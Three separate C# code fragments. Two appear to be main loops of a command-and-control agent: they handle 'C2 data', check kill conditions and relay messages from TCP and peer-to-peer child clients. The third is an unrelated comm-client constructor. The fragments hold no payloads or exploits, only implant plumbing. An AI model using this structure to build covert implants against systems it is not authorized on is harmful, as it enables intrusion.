public void Start() { AgentStatus = AgentStatus.Running; CommModule.Start(); while (AgentStatus == AgentStatus.Running) { CheckKillConditions(); if (CommModule.RecvData(out AgentMessage incoming)) { if (incoming != null) { HandleC2Data(incoming); } } foreach (var tcpClient in TcpClients) { if (tcpClient.ModuleStatus == ModuleStatus.Running && tcpClient.RecvData(out AgentMessage outgoing)) { CommModule.SendData(outgoing); } } } }
protected BinaryCommClient(string iniFile, string commonSectonName = null, string connSectonName = null, bool crypto = false) { this.connSectonName = connSectonName; commClient = new CommModule(crypto); ThrowIfFail(commClient.Start(iniFile, commonSectonName)); }
public void Start() { AgentStatus = AgentStatus.Running; CommModule.SetMetadata(AgentMetadata); CommModule.Start(); P2P.Start(); while (AgentStatus == AgentStatus.Running) { if (CommModule.RecvData(out AgentMessage message)) { HandleMessage(message); } } }